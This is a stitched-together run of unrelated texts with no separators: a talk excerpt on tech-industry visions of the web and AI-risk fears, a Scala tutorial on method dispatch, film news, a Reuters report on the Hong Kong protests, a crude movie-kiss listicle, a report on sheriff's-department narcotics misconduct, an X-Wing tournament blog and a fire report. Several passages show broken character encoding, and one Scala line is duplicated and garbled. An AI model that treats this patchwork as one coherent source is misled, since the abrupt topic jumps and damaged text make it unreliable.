A further symptom of our exponential hangover is bloat. As soon as a system shows signs of performance, developers will add enough abstraction to make it borderline unusable. Software forever remains at the limits of what people will put up with. Developers and designers together create overweight systems in hopes that the hardware will catch up in time and cover their mistakes. We complained for years that browsers couldn't do layout and javascript consistently. As soon as that got fixed, we got busy writing libraries that reimplemented the browser within itself, only slower. It's 2014, and consider one hot blogging site, Medium. On a late-model computer it takes me ten seconds for a Medium page (which is literally a formatted text file) to load and render. This experience was faster in the sixties. The web is full of these abuses, extravagant animations and so on, forever a step ahead of the hardware, waiting for it to catch up.
This exponential hangover leads to a feeling of exponential despair. What's the point of pouring real effort into something that is going to disappear or transform in just a few months? The restless sense of excitement we feel that something new may be around the corner also brings with it a hopelessness about whatever we are working on now, and a dread that we are missing out on the next big thing.
The other part of our exponential hangover is how we build our businesses. The cult of growth denies the idea that you can build anything useful or helpful unless you're prepared to bring it to so-called "Internet scale". There's no point in opening a lemonade stand unless you're prepared to take on PepsiCo. I always thought that things should go the other way. Once you remove the barriers of distance, there's room for all sorts of crazy niche products to find a little market online. People can eke out a living that would not be possible in the physical world. Venture capital has its place, as a useful way to fund long-shot projects, but not everything fits in that mold. The cult of growth has led us to a sterile, centralized web. And having burned through all the easy ideas within our industry, we're convinced that it's our manifest destiny to start disrupting everyone else.
I think it's time to ask ourselves a very designy question: "What is the web actually for?" I will argue that there are three competing visions of the web right now. The one we settle on will determine whether the idiosyncratic, fun Internet of today can survive.
Vision 1: CONNECT KNOWLEDGE, PEOPLE, AND CATS. This is the correct vision. The Web erases the barrier of distance between people, and it puts all of human knowledge at our fingertips. It also allows us to look at still images and videos of millions of cats, basically all of it for free, from our homes or a small device we carry in our pocket. No one person owns it, no one person controls it, you don't need permission to use it. And the best part is, you are encouraged to contribute right back. You can post your own cat pictures. Why is this not enough?
The feline vision of the Internet is fundamentally a humble one, because it does not presume that developers and designers know what they are doing. There are no limits on what people (and cats) can get up to once you link them together. On a planet of seven billion people and millions of cats, the chance that you are going to be able to think of all the best ideas is zero. Someone is always going to come up with something you never expected. A web that connects people in a way where they can contribute gives its authors a chance to be surprised. We've seen this play out time and again, in that the most productive and revolutionary aspects of web culture came out of left field. The idea of a free, universally editable encyclopedia sounded insane. The idea that a free operating system could run half the Internet was insane. That volunteers in blog comments could write collaborative math papers with some of the most brilliant mathematicians in the world sounded insane. A currency based entirely on cryptographic hashing still sounds insane, but it sure is interesting. Even the world wide web itself is the product of a physics nerd winging it, and convincing his colleagues to try out something new. The Internet is full of projects big and small whose defining trait is that they came out of nowhere and captured people's imaginations. It's also full of awesome cat videos. The key part of this vision is that the Internet succeeds by remaining open and participatory. No one acts as gatekeeper, and it is not just a channel for mindless consumption.
Vision 2: FIX THE WORLD WITH SOFTWARE This is the prevailing vision in Silicon Valley. The world is just one big hot mess, an accident of history. Nothing is done as efficiently or cleverly as it could be if it were designed from scratch by California programmers. The world is a crufty legacy system crying out to be optimized. If you have spent any time using software, you might recognize this as an appalling idea. Fixing the world with software is like giving yourself a haircut with a lawn mower. It works in theory, but there's no room for error in the implementation.
This vision holds that the Web is only a necessary first step to a brighter future. In order to fix the world with software, we have to put software hooks into people's lives. Everything must be instrumented, quantified, and networked. All devices, buildings, objects, and even our bodies must become "smart" and net-accessible. Then we can get working on optimizing the hell out of life.
Marc Andreessen has this arresting quote, that ‘software is eating the world.’ He is happy about it. The idea is that industry after industry is going to fall at the hands of programmers who automate and rationalize it. We started with music and publishing. Then retailing. Now we're apparently doing taxis. We're going to move a succession of industries into the cloud, and figure out how to do them better. Whether we have the right to do this, or whether it's a good idea, are academic questions that will be rendered moot by the unstoppable forces of Progress. It's a kind of software Manifest Destiny.
To achieve this vision, we must have software intermediaries in every human interaction, and in our physical environment. But what if after software eats the world, it turns the world to shit?
Consider how fundamentally undemocratic this vision of the Web is. Because the Web started as a technical achievement, technical people are the ones who get to call the shots. We decide how to change the world, and the rest of you have to adapt. There is something quite colonial, too, about collecting data from users and repackaging it to sell back to them. I think of it as the White Nerd's Burden.
Technological Utopianism has been tried before and led to some pretty bad results. There's no excuse for not studying the history of positivism, scientific Marxism and other attempts to rationalize the world, before making similar promises about what you will do with software. Like everything in tech, there is prior art! And then there's the third vision of the Internet:
Vision 3: BECOME AS GODS, IMMORTAL CREATURES OF PURE ENERGY LIVING IN A CRYSTALLINE PARADISE OF OUR OWN CONSTRUCTION This is the insane vision. I'm a little embarrassed to talk about it, because it's so stupid. But circumstances compel me. In this vision, the Internet and web are just the first rung of a ladder that leads to neural implants, sentient computers, nanotechnology and eventually the Singularity, that mystical moment when progress happens so quickly that all of humanity's problems disappear and are replaced, presumably, with problems beyond our current understanding. This is the vision of 'accelerating returns', very reminiscent to that hockey stick graph I showed earlier, where we were supposed to have interstellar travel by 2010. This Apocalyptic vision of the Internet and technical progress has captured the imaginations of some of the most influential people in our industry.
Grown adults, people who can tie their own shoes and are allowed to walk in traffic, seriously believe that we're walking a tightrope between existential risk and immortality. Some of them are the most powerful figures in our industry, people who can call up Barack Obama about the dangers of nanotechnology, and Obama has to say “Michelle, I need to take this.” “Barack, it is three o'clock in the morning." “I know, but this guy is scared of sentient artificial intelligence and he's a huge contributor.” And then Obama just has to sit there and listen to this shit.
So because powerful people in our industry read bad scifi as children, we now confront a stupid vision of the web as gateway to robot paradise. Here's Ray Kurzweil, a man who honestly and sincerely believes he is never going to die. He works at Google. Presumably he stays at Google because he feels it advances his agenda. Google works on some loopy stuff in between plastering the Internet with ads.
And here is Elon Musk, the founder of PayPal, builder of rockets and electric cars. Musk has his suitcase packed for the robot rebellion: “The risk of something seriously dangerous happening is in the five year timeframe. 10 years at most.” “With artificial intelligence we are summoning the demon. In all those stories where there’s the guy with the pentagram and the holy water, it’s like – yeah, he’s sure he can control the demon. Doesn’t work out.” “We need to be super careful with AI. Potentially more dangerous than nukes.” “Hope we're not just the biological boot loader for digital superintelligence. Unfortunately, that is increasingly probable.”
Let me give you a little context here. This little fellow is Caenorhabditis elegans , a nematode worm that has 302 neurons. The absolute state of the art in simulating intelligence is this worm. We can simulate its brain on supercomputers and get it to wiggle and react, althogh not with full fidelity. And here I'm talking just about our ability to simulate. We don't even know where to start when it comes to teaching this virtual c. elegans to bootstrap itself into being a smarter, better nematode worm.
In fact, forget about worms—we barely have computers powerful enough to emulate the hardware of a Super Nintendo. If you talk to anyone who does serious work in artificial intelligence (and it's significant that the people most afraid of AI and nanotech have the least experience with it) they will tell you that progress is slow and linear, just like in other scientific fields. But since unreasonably fearful people helm our industry and have the ear of government, we have to seriously engage their stupid vision.
I've taken the liberty of illustrating Musk's greatest fear. At best, having the the top tiers of our industry include figures who believe in fairy tales is a distraction. At worst, it promotes a kind of messianic thinking and apocalyptic Utopianism that can make people do dangerous things with all their money.
These three visions lead to radically different worlds. If you think the Web is a way to CONNECT KNOWLEDGE, PEOPLE, AND CATS, then your job is to get the people and cats online, put a decent font on the knowledge, and then stand back and watch the magic happen.
If you think your job is to FIX THE WORLD WITH SOFTWARE, then the web is just the very beginning. There's a lot of work left to do. Really you're going to need sensors in every house, and it will help if everyone looks through special goggles, and if every refrigerator can talk to the Internet and confess its contents. You promise to hook up all this stuff up for us, and in return, we give you the full details of our private lives. And we don't need to worry about people doing bad things with it, because your policy is for that not to happen.
And if you think that the purpose of the Internet is to BECOME AS GODS, IMMORTAL CREATURES OF PURE ENERGY LIVING IN A CRYSTALLINE PARADISE OF OUR OWN INVENTION, then your goal is total and complete revolution. Everything must go. The future needs to get here as fast as possible, because your biological clock is ticking! The first group wants to CONNECT THE WORLD. The second group wants to EAT THE WORLD. And the third group wants to END THE WORLD. These visions are not compatible.
I realize this all sounds a little grandiose.You came here to hear about media selectors, not aviation and eschatology. But you all need to pick a side. Right now there's a profound sense of irreality in the tech industry. All problems are to be solved with technology, especially the ones that have been caused with previous technology. The new technologies will fix it. We see businesses that don't produce anything and run at an astonishing loss valued in the billions of dollars. We see a whole ecosystem of startups and businesses that seem to exist only to serve one other, or the needs of very busy and very rich tech workers in a tiny sliver of our world.
At the same time, we hear grandiose promises about how technology will fundamentally improve the lives of every person on Earth, even though that contradicts our own experience of the last thirty years. There is something fishy about all this promised progress. The engine is revving faster and faster, we can see that the accelerator is pegged, but somehow the view out the window never changes. When we point out that Silicon Valley doesn't seem to be engaging the real world, that wages have been flat for thirty years, that Utopia seems further away than it's been in a generation, we get impatient excuses. Tech culture is like a deadbeat who lives on your basement sofa. You ask him: “When are you going to do all those things you promised?” “Oh, wait until everyone has a computer.” “They do.” “Okay, I mean wait until they're all online. ” “They are. Why isn't the world better?” “Well, wait until they all have smartphones... and wearable devices,” and the excuses continue. The real answer is, technology hasn't changed the world because we haven't cared enough to change it.
There's a William Gibson quote that Tim O'Reilly likes to repeat: "the future is here, it's just not evenly distributed yet." O'Reilly takes this to mean that if we surround ourselves with the right people, it can give us a sneak peek at coming attractions. I like to interpret this quote differently, as a call to action. Rather than waiting passively for technology to change the world, let's see how much we can do with what we already have. Let's reclaim the web from technologists who tell us that the future they've imagined is inevitable, and that our role in it is as consumers.
For this discussion we’ll need to be precise about our terminology surrounding types. We’re going to use the term type in the way used in type theory. It refers to a constraint on a value known at compile-time. In this view types only exist at compile-time.
Programmers sometimes refer to run-time or dynamic types. This is information available at runtime about a value. We’re going to use the term tags to refer to these. The tag may sometimes contain the same information as a type, but sometimes it will not. For example, in the following code the type is Option[Int] but the tag is Some .
val anOption : Option [ Int ] = Some ( 1 )
Early and Late Binding
Given class definitions like
class Foo () { def doIt : String = "Foo" } class Bar () extends Foo () { override def doIt : String = "Bar" }
what method is chosen when we write
val foo : Foo = new Bar () foo . doIt
There are two possibilities:
the type of the value (in this case Foo ) is used to choose the method so foo.doIt evaluates to "Foo" ; or
) is used to choose the method so evaluates to ; or the tag of the value (in this case Bar ) is used to choose the method so foo.doIt evaluates to "Bar" .
The former choice is early binding (static polymorphism), while the latter is late binding (dynamic polymorphism). Scala, like Java and most other OO languages, uses late binding. The above code will evaluate to "Bar" .
Overloading
We’ve seen that the tag of the method receiver (the object on which we call the method) is involved in determining which method is used. We might also ask if the method parameters are also involved in making that decision. Take the following code.
class Foo () { def doEet ( foo : Foo ) : String = "FooFoo" def doEet ( foo : Bar ) : String = "FooBar" } class Bar () extends Foo () { }
Here we have two overloaded variants of doEet . What is the result of the following expressions?
val aFoo : Foo = new Foo () val foo : Foo = new Bar () val bar : Bar = new Bar () aFoo . doEet ( foo ) aFoo . doEet ( bar )
The expression aFoo.doEet(foo) evaluates to "FooFoo" , while aFoo.doEet(bar) evaluates to "FooBar" . This shows that the type, not the tag, of method parameters is used to choose between overloaded methods.
Therefore we can say that Scala has late binding for the method receiver (the object on which we call the method) but early binding for method parameters (to resolve overloading).
Multiple Dispatch
It’s worth noting that some languages use the tags of all method parameters to choose between implementations. This is known as multiple dispatch. The choice made in Scala, where only a single tag is used, is known as single dispatch.
Multiple dispatch is very uncommon. It has a few issues:
there can be multiple methods that are equally specific for a given set of method parameters;
it’s difficult to reconcile with modularity; and
it’s difficult to efficiently implement.
Multiple dispatch is mainly found in the Lisp family of languages. CLOS, the standard object system for Common Lisp, features multiple dispatch, for example.
Goofiness
It’s possible to run into confusing situations using overloading. Take the following code for example.
object Foo { def add ( numbers : List [ Int ]) : Double = numbers . foldLeft ( 0.0 ){ ( elt , accum ) => elt . toDouble + accum } def add ( numbers : List [ Double ]) : Double = numbers . foldLeft ( 0.0 ){ ( elt , accum ) => elt + accum } }
It seems simple but it doesn’t compile, failing with an error
error: double definition: def add ( numbers: List[Int] ) : Double at line 2 and def add ( numbers: List[Double] ) : Double at line 5 have same type after erasure: ( numbers: List ) Double def add ( numbers: List[Double] ) : Double = ^
Though Martin Scorsese has been branching out into a number of genres over the past few years—including psychological thrillers (Shutter Island) and family films (Hugo)—he’s returning to the world of black comedy with this month’s The Wolf of Wall Street. The film is based on the memoir of Jordan Belfort and stars Leonardo DiCaprio as a hard-partying, drug-addicted stockbroker who was indicted in 1998 for security fraud and money laundering and served a 22-month federal prison stretch. THR has been doing a number of roundtable interviews for this year’s awards contenders, but today they’ve unveiled a treat by way of a 25-minute video interview with Scorsese, DiCaprio, Jonah Hill, and screenwriter Terence Winter about all things Wolf of Wall Street.
The interview is a great watch, as they discuss their first meetings with each other, how Hill won the role, Steven Spielberg showing up on set, the editing process, and Scorsese confirms that (unsurprisingly) we won’t be seeing a longer director’s cut on home video. Hit the jump to watch the interview. The Wolf of Wall Street opens on Christmas Day.
Protesters take shelter from the rain under umbrellas as they block the main street to the financial Central district outside of the government headquarters in Hong Kong, September 30, 2014. REUTERS/Carlos Barria
There was little sign of momentum flagging on the fifth day of a determined mass campaign to occupy sections of the city and to express fury at a Chinese decision to limit voters’ choices in a 2017 leadership election.
That was despite widespread fears that police may use force to move crowds before the start of celebrations marking the anniversary of the Communist Party’s foundation of the People’s Republic of China in 1949. The crowds have brought large sections of the Asian financial hub to a standstill, disrupting businesses from banks to jewellers.
Overnight thunder, lightning and heavy rain failed to dampen spirits as protesters sought shelter under covered walkways, while police in raincoats and hats looked on passively nearby. At dawn on Wednesday, protesters awoke to blue skies.
Riot police had used tear gas, pepper spray and baton charges at the weekend to try to quell the unrest but tensions have eased since then as both sides appeared prepared to wait it out, at least for now.
Protests spread from four main areas to Tsim Sha Tsui, one of the city’s most popular shopping areas for mainland Chinese, which would normally do roaring trade during the annual National Day holiday.
In the early morning hours, hundreds of demonstrators were milling around outside luxury stores and setting up makeshift barricades in anticipation of possible clashes. As in most parts of Hong Kong, the police presence was small.
M. Lau, a 56-year-old retiree, said he had taken to the streets of Hong Kong to protest in the 1980s and wanted to do so again in a show of solidarity with a movement that has been led by students as well as more established activists.
“Later this morning I will come back,” he said.
“I want to see more. Our parents and grandparents came to Hong Kong for freedom and the rule of law. This (protest) is to maintain our 160-year-old legal system for the next generation.”
The protests are the worst in Hong Kong since China resumed its rule of the former British colony in 1997. They also represent one of the biggest political challenges for Beijing since it violently crushed pro-democracy protests in Tiananmen Square in 1989.
Cracking down too hard could shake confidence in market-driven Hong Kong, which has a separate legal system from the rest of China. Not reacting firmly enough, however, could embolden dissidents on the mainland.
Underlining nervousness among some activists that provocation on National Day could spark violence, students from Hong Kong University made an online appeal for people not to disturb the flag-raising ceremony set for 8 a.m. (midnight GMT).
Hundreds of protesters lined up in the early hours to view the ceremony at Bauhinia Square on the Hong Kong waterfront. Protesters tried to organise a human chain to create a buffer between about 100 police at the site and other demonstrators.
“We want to be heard, we want to stand here peacefully, but we’re not going to be aggressive,” one of the protesters said.
ULTIMATUM, BLOCKADES
China rules Hong Kong under a “one country, two systems” formula that accords the former British colony a degree of autonomy and freedoms not enjoyed in mainland China, with universal suffrage set as an eventual goal.
However, when Beijing decreed a month ago that it would vet candidates wishing to run for Hong Kong’s leadership, protesters reacted angrily and called for Hong Kong Chief Executive Leung Chun-ying to step down.
Student leaders had given Leung an ultimatum to come out and address the crowds before midnight on Tuesday, threatening to occupy more of the city if he failed to do so.
Leung did not comply but has said Beijing would not back down in the face of protests. He also said Hong Kong police would be able to maintain security without help from People’s Liberation Army (PLA) troops from the mainland.
Communist Party leaders in Beijing worry that calls for democracy could spread to the mainland, and have been aggressively censoring news and social media comments about the Hong Kong demonstrations.
Hong Kong shares fell to a three-month low on Tuesday, registering their biggest monthly fall since May 2012. Markets are closed on Wednesday and Thursday for the holidays.
The city’s benchmark index has fallen 7.3 percent over the past month, and there are few indications that the protests are likely to end any time soon. Protesters have set up supply stations with water bottles, fruit, crackers, disposable raincoats, towels, goggles, face masks and tents.
“Even though I may get arrested, I will stay until the last minute,” said 16-year-old John Choi. “We are fighting for our future.”
MAINLAND CHINESE VISITORS WATCH ON
Mainland Chinese visiting Hong Kong had differing views on the demonstrations, being staged under the “Occupy” banner.
“For the first time in my life I feel close to politics,” said a 29-year-old Chinese tourist from Beijing who gave only her surname, Yu. “This is a historic moment for Hong Kong. I believe something like this will happen in China one day.”
A woman surnamed Lin, from the southern Chinese city of Shenzhen, however said the protesters’ demands for a democratic election were “disrespectful to the mainland”.
“Even though the government has brought a lot of development to Hong Kong, they don’t acknowledge this,” Lin said.
The message from Beijing has been clear.
The deputy director of China’s National People’s Congress Internal and Judicial Affairs Committee, Li Shenming, wrote in the People’s Daily: “In today’s China, engaging in an election system of one-man-one-vote is bound to quickly lead to turmoil, unrest and even a situation of civil war.”
The outside world has looked on warily.
Slideshow (5 Images)
British finance chief George Osborne urged China to seek peace and said the former colony’s prosperity depended on freedom. Washington urged Hong Kong authorities “to exercise restraint and for protesters to express their views peacefully”.
U.S. Secretary of State John Kerry will discuss the protests with Chinese Foreign Minister Wang Yi during talks in Washington on Wednesday, U.S. officials said.
Love can be wonderful, it can be beautiful, it can be magic and bliss. But it can also be really gross. Don?t believe us? All you have to do is turn to the movies for clear proof. We believe we?ve found the 10 most foul lip-locks in cinematic history. Sure, some are meant to be sexy, some are meant to emit chuckles, and some are supposed to be, well, gross, but all of ?em have one thing in common: They?ve driven generations of Cupids to early retirement. Snag a barf bag and take a ride on this love roller coaster, if you dare.
10) Alec Baldwin and an old man in Prelude to a Kiss
It?s always been obvious that Alec Baldwin?s had certain, shall we say, ?leanings.? After all, the guy memorably made out with Phil Hartman (in the classic ?Greenhilly? SNL sketch), rubbed his chest hair on Adam Sandler?s Canteen Boy, and made some pretty overt advances to Ben Stiller?s Along Came Polly character. But it was this 1992 rom-com (short for romantic-?Come on, this is supposed to be funny??) where Baldwin pushed the limits of good taste. The scene in which he locks lips with a weird old dude?whose body houses Meg Ryan?s spirit, or some such tripe?was like a horrifying outtake from Metallica?s ?Enter Sandman? video.
9) Jason Schwartzman and Natalie Portman in Hotel Chevalier
[Warning: Video contains Portman buttocks.] These two aren?t unattractive people, per se. But watching a greasy, mustachioed Schwartzman and a greyhound-resembling Portman (seriously, check out those ribs when she?s nekkid; eat a burrito, woman!) sloppily swapping spit like a couple of seventh graders is about as sexy as Owen Wilson?s heavily bandaged older brother make an itinerary later on in The Darjeeling Limited. Were their tongues miked? From the lip-smacking, it sounds like it. After the Star Wars prequels, we never thought we?d want more dialogue and less love-making from Portman … wrong-o.
8) Jack Nicholson and a corpse in The Shining
Trust me, if I was locked up a freaky-ass mansion with a whiney string-bean of a wife like Shelley Duvall, I?d be smooching complete strangers in the bathtub, too. But Jack Torrance?s ?Oh, shit yes!? moment quickly turns into ?Oh Kubrick, you dick!? when he discovers, thanks to convenient positioning of a mirror, that he?s getting hot and heavy with a festering dead chick. He would?ve been better off playing spin the bottle with that bartender ghost. FYI, this is the real reason Stephen King hates the flick.
7) Don Knotts and an orangutan in Cannonball Run II
The producers of the race-themed sequel (since there were so many unanswered questions from the first film) apparently couldn?t afford the orangutan who memorably punched bikers on Clint Eastwood?s behalf a few years earlier, so they settled for ?Clyde Lite.? Worse, they partnered him with Tony Danza and Mel Tillis as a faux chauffeur (?fauxfeur??). But the biggest travesty occurred when multiple Emmy winner and beloved TV icon Don Knotts got the full mouth-to-mouth treatment from the ape. Judging from this clip, director Hal Needham didn?t tell him it was coming. At least Don?s hairpiece remained unfrazzled.
6) Natasha Henstridge and Unnamed Sleazeball in Species
Ben Kingsley and his crew weren?t ready for this sexy beast. After the alien known as Sil rapidly matures into a supermodel, she is ready to GIT IT ONNNN. And it?s not too hard to find someone to copulate with after you walk into a bar and take off your top. (After a rudimentary killing of a slut who steals your first pick, of course.) Dirtbag McGreaseball thinks he?s won the lady lottery; too bad that his thanks for taking this hottie to his place for some casual sex (hey, at least he has the courtesy to shower first) is a tongue through the back of the skull.
5) Sean Connery and Catherine Zeta-Jones in Entrapment
In 1983, Connery left audiences squirming as his droopy-skinned 007 smooched Kim Basinger in Never Say Never Again. Sixteen years later, he hobbled back onto movie screens with a nubile young actress, this time the future Mrs. Michael Douglas. While most blessedly remember this caper flick for the extended scene in which Zeta-Jones navigates her way through an array of alarm lasers (complete with an endless amount of gratuitous ass shots), there was enough fabricated sizzle for the then 68-year-old Connery to lay one on his 30-year-old co-star. Afterwards, he realizes it was a mistake; why couldn?t the director have done the same?
4) Eddie Murphy and Eddie Murphy in Nutty Professor II: The Klumps
By the time Murphy got around to making this gross-out ?family comedy? sequel in 2000, the notion of the once-gifted funnyman donning fat suits again was already played out. Lewd sex acts involving giant hamsters didn?t help matters. But Klumps truly krossed the krass line in the scene in which ?Granny? Jensen?played by Murphy?sheds her mothball-smelling attire completely and attempts to seduce Buddy Love, also played by Murphy, by sticking her sickening tongue in his mouth. Yes, the character who at one point was her own grandson. The only thing that would?ve made this creepier is if the audience were forced to endure Charlie Murphy-on-Murphy action.
3) Jeffrey Jones and Lea Thompson in Howard the Duck
Call this one ?the gross-out kiss that almost was, but thank the dear sweet Lord wasn?t.? When a puke-complexioned Dr. Jennings?possessed by an alien called the Dark Overlord who isn?t George Lucas?realizes he?s running out of power after kidnapping Howard the Duck?s pseudo-squeeze Beverly, he growls, ?I need your body.? Next thing you know, he?s lolling a tentacle-like tongue that?s inching its way towards poor Bev?s nether regions. But before things veer into hentai territory, D.O. goes for the pickup truck?s lighter socket instead.
2) Drew Barrymore and Tom Skerritt in Poison Ivy
Drew Barrymore Stripping – Free videos are just a click away
[WARNING: Contains graphic scenes of Tom Skerrit pawing at Drew Barrymore’s breasts. And it’s really gross.] At least all of Connery?s co-stars were of age when he made his move; the same can?t be said for this up-all-night cable shocker. Apparently Poison Ivy received a theatrical release (who knew?), but most of us probably caught it on HBO long after the folks had hit the hay. And Lord knows they wouldn?t have approved of Old Man Skerritt GETTING IT ON ON THE HOOD OF HIS MERCEDES with cutie-pie Drew, who was all of 16 when she filmed this! We all know Drew grew up fast, what with the E.T. and the stardom and the drugs and the ?cursed? family, but the multiple kisses?and freaky-deaky sex scenes?with a pushing-60 Skerritt have me hitting the brakes?and changing the channel.
1) Christopher Walken and Miranda Richardson in Sleepy Hollow
CLEARWATER, FL — Newly appointed Pinellas County Sheriff Bob Gualtieri is cleaning up the streets — starting with narcotics detectives within his own department. The narcotics unit, which Gualtieri says has become “too loose an operation,” has been criticized for cutting corners, destroying evidence, and using questionable surveillance tactics including dressing as utility company employees to gain warrant-less access to suspects’ homes.
Since his investigation began March 1, Sheriff Gualtieri has referred 15 cases to internal affairs from his own narcotics division. Nine deputies have been investigated so far, with five disciplined, two with complaints found unfounded, and two still under investigation.
The misconduct allegations before internal affairs, including destroying evidence and illegal trespass, stem largely from an operation that searched for marijuana grow houses. But the widespead range of apparent misconduct suggests there is more to find.
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The narcotics unit first found itself under Gualtieri’s microscope at the end of February, when the Tampa Bay Times contacted him about allegations of misconduct by undercover narcotics detectives. In a formal statement given to an attorney about a pending marijuana growing case, a Pinellas detective said he wore a Progress Energy uniform as a “ruse” to enter a homeowner’s property without a search warrant.
The incident happened in 2010, long before Gualtieri was appointed sheriff, who says marijuana grow houses should not be the department’s highest priority.
“I was appalled by it,” Gualtieri told the Times, after they showed him the transcript of the interview. The sheriff immedialty instituted a policy preventing deputies from using corporate uniforms without permission from their own supervisors and “express written permission of that corporate entity.”
But that was just the beginning. Since first learning of the narcotics unit’s use of the energy company uniforms, Gualtieri has uncovered several other allegations of “questionable” police tactics.
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Gualtieri next discovered that detectives had placed a surveillance camera outside of Simply Hydroponics, a hydroponics growing supply store, which led to the investigation of the store’s customers for the past two years. Detectives would record licence plate numbers of the store’s customers, many of whom were growing organic fruits or vegetables, and then tried to build cases against them as suspected indoor marijuana farmers. Gualtieri has since ordered the camera taken down.
A week into the investigation, Gualtieri learned that three detectives improperly and routinely accessed Progress Energy billing records for years as they searched for marijuana grows, and would send bogus after-the-fact subpoena requests to the State Attorney’s office to cover their tracks.
In yet another case, a deputy erased a DVR hard drive seized in a marijuana bust because, he claimed, it might reveal the faces of undercover officers. But a local defense attorney said the tape would have shown deputies trespassing without a warrant.
There are currently 39 pending marijuana grow house cases involving the officers under investigation. Attorneys for defendants say that detectives also trespassed illegally on suspects’ property to peak inside houses, sniff around and look for tell-tale grow house window insulation.
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Gualtieri has also uncovered other cases of misconduct, including a detective who sought reimbursement for a $200 payment to a snitch, but “he never paid the informant.” In another incident, a deputy back-dated a snitch payment receipt for another deputy who had failed to have the payment witnessed, as required by department policy.
So far in the investigation, one narcotics supervisor has been reassigned, while two of the detectives have been demoted and assigned to patrol division.
After the European Team Championships I have a developed a real taste for team X-Wing, the format is far simpler here than it is in the ETC but still takes some thinking through.
Each team is made up of three players, each player must use a different faction. No unique cards can be used in multiple lists, so Boba could only feature as a Scum or Imperial variant, not both.
Lists add together to give a cumulative initiative bid for deciding match ups. The team with the lowest points score chooses to select the first match up or the second match up. If they pick the first match up then the opposing team gets to decide the second (and therefore the third) so both options are really strong depending on what you bring and what you are playing. Once pairings are decided it then becomes a normal game of X-Wing just with a cumulative score at the end of the round.
Zombie Squadron has produced three teams for the event, I am in one with David Robinson (Imperials) and Graham Gibbon (Scum) which means that I am playing with rebels. Unlike the format of the ETC where throwing one list under the bus so that the other 5 might benefit resources are slightly more limited here, the luxury of a specialist list like my Corran and Poe build could well be liability in this format, it is very, very good against some things but against certain things it is really going to struggle.
Which leaves me with choices to make:
Nym: I’m not really a fan, brilliant against some thing (me generally) but decidedly average against others
Dash: I’m so bored of seeing YT-2400’s on the table at the moment, I’m not going to bring another one
FSR, FSR2: I want to enjoy my games at the event, and give my opponent a chance at enjoying them too
Miranda: I’m just not good enough with K-Wings. For all the power of Miranda I still find her one of the trickiest ships to play with in the game
A-Wing Crackswarm: So very tempted to get these out again, I love the list, but right now there is just too much in the game that will make them cry
Rey: There a “one or two” incidents in the past where I “might” have said how frustrating I find her…
After weighing up what would suit and what takes on all comers well I’ve decided to go for a Falcon option. It’s not something I’ve flown in competition before but I have flown against, and lost to it plenty of times. But I’m not going with Rey, I just can’t quite stomach flying her after all the runs ins I’ve had over the last few months, and how frustrating I’ve found her. I am well aware how good she is, especially with her standard build, but I’m just not going to fly her! Sure I’m probably cutting off my nose to spite my face but…
I’ve decided to go for Han, the young variety.
Because he’s Han.
Personally I think that’s justification enough.
Looking at the build I’ve gone for I think he should be very interesting in the current meta. At PS11 with an engine upgrade ships like Nym are not going to find it so easy to pin him down and just put damage onto him. His crew combination is designed to strip tokens then deliver a big hit to defenseless ships.
Young Han Jan Ors Millennium Falcon (original) Moldy Crow Veteran Instincts Veteran Instincts Luke Skywalker Nein Numb Hot Shot Co-Pilot Ion Cannon Turret Engine Upgrade Vectored Thrusters
For the wingman I’ve gone for a support option rather than another fighting ship. 37 points is quite a lot to mess around with. Keeping the high pilot skill across the list was something I wanted to do and Jan pushes the damage output that Han can deliver up significantly.
I simply won’t use a Twin Laser Turret, I have an intense dislike for the card and whilst I accept it is brilliant, I just don’t find it fun (for either me or my opponent). The Ion Cannon Turret is a strong option in the current meta, especially with some high profile one agility ships around. The Falcon is considerably faster than an HWK so putting Nein crew on should help it keep up a bit and give more options when clearing stress. Veteran Instincts and Vectored Thrusters also give the ship the option to dodge arcs to an extent.
In an ideal world Jan sets them up, Han knocks them down, in an ideal world.
Graham is using a scum classic which he has flown for months, triple Contracted scouts is always a solid list to have in the armoury for an event like this.
Contracted Scouts Contracted Scouts Contracted Scouts Attanni Mindlink Attanni Mindlink Attanni Mindlink Plasma Torpedoes Plasma Torpedoes Plasma Torpedoes R4 Agromech R4 Agromech R4 Agromech Extra Munitions Extra Munitions Extra Munitions Guidance Chips Guidance Chips Guidance Chips
And David is taking Imperials that can nuke things off the table before they get to shoot. Potentially 10 damage from two ships in an alpha strike is similar to the Imperial list I ran into last week with the Kihraxz, I know how hard it can hit so hopefully it will threaten anyone who puts themselves in front of it.
Darth Vader The Inquisitor Quickdraw Veteran Instincts Veteran Intincts Fire Control System Cruise Missile Autothrusters Cruise Missiles Advanced Targetting Computer Tie V1 Pattern Analyser Tie X1 Guidance Chips Guidance Chips Special Ops Training Veteran Instincts
I’m not going to dress it up at. I am god awful at flying YT-1300s. I mean, really really bad. I don’t know why but when I fly against people using them I find them ridiculously hard to kill, but when I fly them they die faster than a light Syk jousting Fenn Rau.
We played 4 game today and had a bye, the other guys pulled their weight for the team and I contributed 4 loses. It’s not that I didn’t enjoy flying it, I’m just really bad at flying it. Admittedly I did run into a fair few turrets which do make the one agility of the Falcon as effective as the agility zero Decimator, but I think my lack of understanding the ship and it’s woeful action economy didn’t help my performance.
It’s kind of similar to when I first started with the sprays, some very similar issues due to the wave the ship comes from, however I just can’t be bothered to mess around with it enough to make it do what I want it to do!
However I did have one most excellent game, during out bye Graham and I had a little game, I pulled out the Protectorates and they went into a mindlink off with his jumps. There was shooting and dice rolling and arc dodging and it was a stark reminder to me of what I totally love about these ships and this game.
I’m not sure Graham enjoyed it quite as much as I did, cause Fangs really don’t like dying! In a Nym free meta they’d be my first choice list without hesitation, but alas the Fenn Rau “Nerf” exists. I am very tempted to see if I can learn how to handle him with them because they are so much fun to fly.
I think I probably have to accept that I am now a scum player who dabbles in rebels rather than a rebel player who dabbles in scum… As for Imperials well, no.
The format of the event was an interesting one because it doesn’t really reflect the Meta as people can’t just take what they want. However it is fair to say that Nym, Dengar, RAC, Dash and Miranda were all obviously popular choice.
Pete Wood, Tom Duncan and Alex Birt of the 186th won the event with an impressive display, only losing one round and finishing top on MOV. Well played guys!
A two hour drive to my bed for the night, where I sit typing up the last of this post. It’s off to Evesham in the morning. One, down, two to go.
NEXT TIME: NATIONALS PRACTICE BEGINS
The Berkeley Fire Department got a call about a fire in a commercial building at 1619 Fifth Street in West Berkeley at 5:52 a.m. and was on the scene by 5:57 a.m., according to Fire Chief Gil Dong. Firefighters had brought the fire under control by 6:25 a.m., he said.
The fire destroyed part of the building and badly damaged the roof. Dong estimated there was $100,000 in damage. Fire investigators are still looking for the cause.
